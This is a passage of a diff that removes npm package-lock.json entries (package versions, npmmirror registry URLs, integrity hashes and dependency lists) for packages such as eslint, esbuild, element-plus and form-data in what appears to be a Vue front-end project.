"sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/electron-to-chromium": { - "version": "1.5.321", - "resolved": "https://registry.npmmirror.com/electron-to-chromium/-/electron-to-chromium-1.5.321.tgz", - "integrity": "sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/element-plus": { - "version": "2.13.6", - "resolved": "https://registry.npmmirror.com/element-plus/-/element-plus-2.13.6.tgz", - "integrity": "sha512-XHgwXr8Fjz6i+6BaqFhAbae/dJbG7bBAAlHrY3pWL7dpj+JcqcOyKYt4Oy5KP86FQwS1k4uIZDjCx2FyUR5lDg==", - "license": "MIT", - "dependencies": { - "@ctrl/tinycolor": "^4.2.0", - "@element-plus/icons-vue": "^2.3.2", - "@floating-ui/dom": "^1.0.1", - "@popperjs/core": "npm:@sxzz/popperjs-es@^2.11.7", - "@types/lodash": "^4.17.20", - "@types/lodash-es": "^4.17.12", - "@vueuse/core": "12.0.0", - "async-validator": "^4.2.5", - "dayjs": "^1.11.19", - "lodash": "^4.17.23", - "lodash-es": "^4.17.23", - "lodash-unified": "^1.0.3", - "memoize-one": "^6.0.0", - "normalize-wheel-es": "^1.2.0", - "vue-component-type-helpers": "^3.2.4" - }, - "peerDependencies": { - "vue": "^3.3.0" - } - }, - "node_modules/enhanced-resolve": { - "version": "5.20.1", - "resolved": "https://registry.npmmirror.com/enhanced-resolve/-/enhanced-resolve-5.20.1.tgz", - "integrity": "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "tapable": "^2.3.0" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/entities": { - "version": "7.0.1", - "resolved": "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", - "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-object-atoms": { - "version": "1.1.1", - "resolved": "https://registry.npmmirror.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmmirror.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/esbuild": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.25.12.tgz", - "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.12", - "@esbuild/android-arm": "0.25.12", - "@esbuild/android-arm64": "0.25.12", - "@esbuild/android-x64": "0.25.12", - "@esbuild/darwin-arm64": "0.25.12", - "@esbuild/darwin-x64": "0.25.12", - "@esbuild/freebsd-arm64": "0.25.12", - "@esbuild/freebsd-x64": "0.25.12", - "@esbuild/linux-arm": "0.25.12", - "@esbuild/linux-arm64": "0.25.12", - "@esbuild/linux-ia32": "0.25.12", - "@esbuild/linux-loong64": "0.25.12", - "@esbuild/linux-mips64el": "0.25.12", - "@esbuild/linux-ppc64": "0.25.12", - "@esbuild/linux-riscv64": "0.25.12", - "@esbuild/linux-s390x": "0.25.12", - "@esbuild/linux-x64": "0.25.12", - "@esbuild/netbsd-arm64": "0.25.12", - "@esbuild/netbsd-x64": "0.25.12", - "@esbuild/openbsd-arm64": "0.25.12", - "@esbuild/openbsd-x64": "0.25.12", - "@esbuild/openharmony-arm64": "0.25.12", - "@esbuild/sunos-x64": "0.25.12", - "@esbuild/win32-arm64": "0.25.12", - "@esbuild/win32-ia32": "0.25.12", - "@esbuild/win32-x64": "0.25.12" - } - }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint": { - "version": "9.39.4", - "resolved": "https://registry.npmmirror.com/eslint/-/eslint-9.39.4.tgz", - "integrity": "sha512-XoMjdBOwe/esVgEvLmNsD3IRHkm7fbKIUGvrleloJXUZgDHig2IPWNniv+GwjyJXzuNqVjlr5+4yVUZjycJwfQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.8.0", - "@eslint-community/regexpp": "^4.12.1", - "@eslint/config-array": "^0.21.2", - "@eslint/config-helpers": "^0.4.2", - "@eslint/core": "^0.17.0", - "@eslint/eslintrc": "^3.3.5", - "@eslint/js": "9.39.4", - "@eslint/plugin-kit": "^0.4.1", - "@humanfs/node": "^0.16.6", - "@humanwhocodes/module-importer": "^1.0.1", - "@humanwhocodes/retry": "^0.4.2", - "@types/estree": "^1.0.6", - "ajv": "^6.14.0", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.6", - "debug": "^4.3.2", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^8.4.0", - "eslint-visitor-keys": "^4.2.1", - "espree": "^10.4.0", - "esquery": "^1.5.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^8.0.0", - "find-up": "^5.0.0", - "glob-parent": "^6.0.2", - "ignore": "^5.2.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.1.5", - "natural-compare": "^1.4.0", - "optionator": "^0.9.3" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "jiti": "*" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - } - } - }, - "node_modules/eslint-plugin-vue": { - "version": "9.33.0", - "resolved": "https://registry.npmmirror.com/eslint-plugin-vue/-/eslint-plugin-vue-9.33.0.tgz", - "integrity": "sha512-174lJKuNsuDIlLpjeXc5E2Tss8P44uIimAfGD0b90k0NoirJqpG7stLuU9Vp/9ioTOrQdWVREc4mRd1BD+CvGw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.4.0", - "globals": "^13.24.0", - "natural-compare": "^1.4.0", - "nth-check": "^2.1.1", - "postcss-selector-parser": "^6.0.15", - "semver": "^7.6.3", - "vue-eslint-parser": "^9.4.3", - "xml-name-validator": "^4.0.0" - }, - "engines": { - "node": "^14.17.0 || >=16.0.0" - }, - "peerDependencies": { - "eslint": "^6.2.0 || ^7.0.0 || ^8.0.0 || ^9.0.0" - } - }, - "node_modules/eslint-scope": { - "version": "8.4.0", - "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-8.4.0.tgz", - "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint/node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/espree": { - "version": "10.4.0", - "resolved": "https://registry.npmmirror.com/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.15.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/espree/node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esquery": { - "version": "1.7.0", - "resolved": "https://registry.npmmirror.com/esquery/-/esquery-1.7.0.tgz", - "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "estraverse": "^5.1.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmmirror.com/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "estraverse": "^5.2.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estree-walker": { - "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "license": "MIT" - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmmirror.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmmirror.com/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/file-entry-cache": { - "version": "8.0.0", - "resolved": "https://registry.npmmirror.com/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "flat-cache": "^4.0.0" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmmirror.com/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/flat-cache": { - "version": "4.0.1", - "resolved": "https://registry.npmmirror.com/flat-cache/-/flat-cache-4.0.1.tgz", - "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "flatted": "^3.2.9", - "keyv": "^4.5.4" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/flatted": { - "version": "3.4.2", - "resolved": "https://registry.npmmirror.com/flatted/-/flatted-3.4.2.tgz", - "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", - "dev": true, - "license": "ISC" - }, - "node_modules/follow-redirects": { - "version": "1.15.11", - "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.11.tgz", - "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/RubenVerborgh" - } - ], - "license": "MIT", - "engines": { - "node": ">=4.0" - }, - "peerDependenciesMeta": { - "debug": { - "optional": true - } - } - }, - "node_modules/form-data": { - "version": "4.0.5", - "resolved": "https://registry.npmmirror.com/form-data/-/form-data-4.0.5.tgz", - "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.2", - "mime-types": "^2.1.12" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fraction.js": { - "version": "5.3.4", - "resolved": "https://registry.npmmirror.com/fraction.js/-/fraction.js-5.3.4.tgz", - "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "*" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/rawify" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/globals": { - "version": "13.24.0", - "resolved": "https://registry.npmmirror.com/globals/-/globals-13.24.0.tgz", - "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "type-fest": "^0.20.2" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/hasown": { - "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.2.tgz", - "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/he": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", - "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", - "dev": true, - "license": "MIT", - "bin": { - "he": "bin/he" - } - }, - "node_modules/highlight.js": { - "version": "11.11.1", - "resolved": "https://registry.npmmirror.com/highlight.js/-/highlight.js-11.11.1.tgz", - "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/hookable": { - "version": "5.5.3", - "resolved": "https://registry.npmmirror.com/hookable/-/hookable-5.5.3.tgz", - "integrity": "sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==", - "license": "MIT" - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmmirror.com/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/import-fresh": { - "version": "3.3.1", - "resolved": "https://registry.npmmirror.com/import-fresh/-/import-fresh-3.3.1.tgz", - "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmmirror.com/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-what": { - "version": "5.5.0", - "resolved": "https://registry.npmmirror.com/is-what/-/is-what-5.5.0.tgz", - "integrity": "sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/mesqueeb" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true, - "license": "ISC" - }, - "node_modules/jiti": { - "version": "2.6.1", - "resolved": "https://registry.npmmirror.com/jiti/-/jiti-2.6.1.tgz", - "integrity": 